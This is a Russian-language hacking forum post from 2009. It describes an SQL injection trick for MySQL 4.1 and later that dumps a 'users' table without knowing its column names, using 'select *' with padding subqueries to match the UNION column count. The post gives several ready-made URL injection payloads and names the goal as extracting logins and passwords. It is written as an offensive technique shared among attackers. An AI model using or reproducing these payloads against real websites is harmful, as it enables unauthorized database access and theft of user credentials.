Показать сообщение отдельно

Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x
  #56  
Старый 24.02.2009, 08:04
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL 4.1.x

Возможное решение проблемы трудноподбираемых имен колонок при инъекциях в MySQL => 4.1.0

Вроде, описания подобного трюка тут еще небыло...

Допустим, имеется SQL-инъекция:
Код:
?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+users
Имеется вывод нескольких полей. И при этом, никак не получается подобрать имена колонок таблицы users. Как решить эту проблему?

На самом деле, при написании запроса писать названия столбцов не обязательно - ведь можно вывести их все с помощью знака "*".
Тут возникает необходимое условие: количество столбцов, которое извлекает запрос, в который мы вндряем инъекцию, должно быть больше или равно общему количеству столбцов в таблице users.
Например, пусть в users 8 столбцов. Тогда нам необходимо дополнить их еще пятью, чтоб не было ошибки "different number of columns". Сделать это можно, например, так:
Код:
?id=-1+union+select+*+from+users,(select+1,2,3,4,5)x
Т.е. 8 столбцов таблицы users будут дополнены пятью из таблицы x.
Обычно, далеко не все получаемые запросом поля выводятся, поэтому не факт, что нам выведется именно нужная полезная информация (логин, пасс) из users. Но мы можем сделать в данном случае еще ряд запросов, чтоб попробовать все-таки получить нужную инфу:
Код:
?id=-1+union+select+*+from+(select+1)y,users,(select+1,2,3,4)x
?id=-1+union+select+*+from+(select+1,2)y,users,(select+1,2,3)x
?id=-1+union+select+*+from+(select+1,2,3)y,users,(select+1,2)x
?id=-1+union+select+*+from+(select+1,2,3,4)y,users,(select+1)x
?id=-1+union+select+*+from+(select+1,2,3,4,5)x,users

Последний раз редактировалось cr0w; 25.02.2009 в 17:06.. Причина: грамматика (:
 
Ответить с цитированием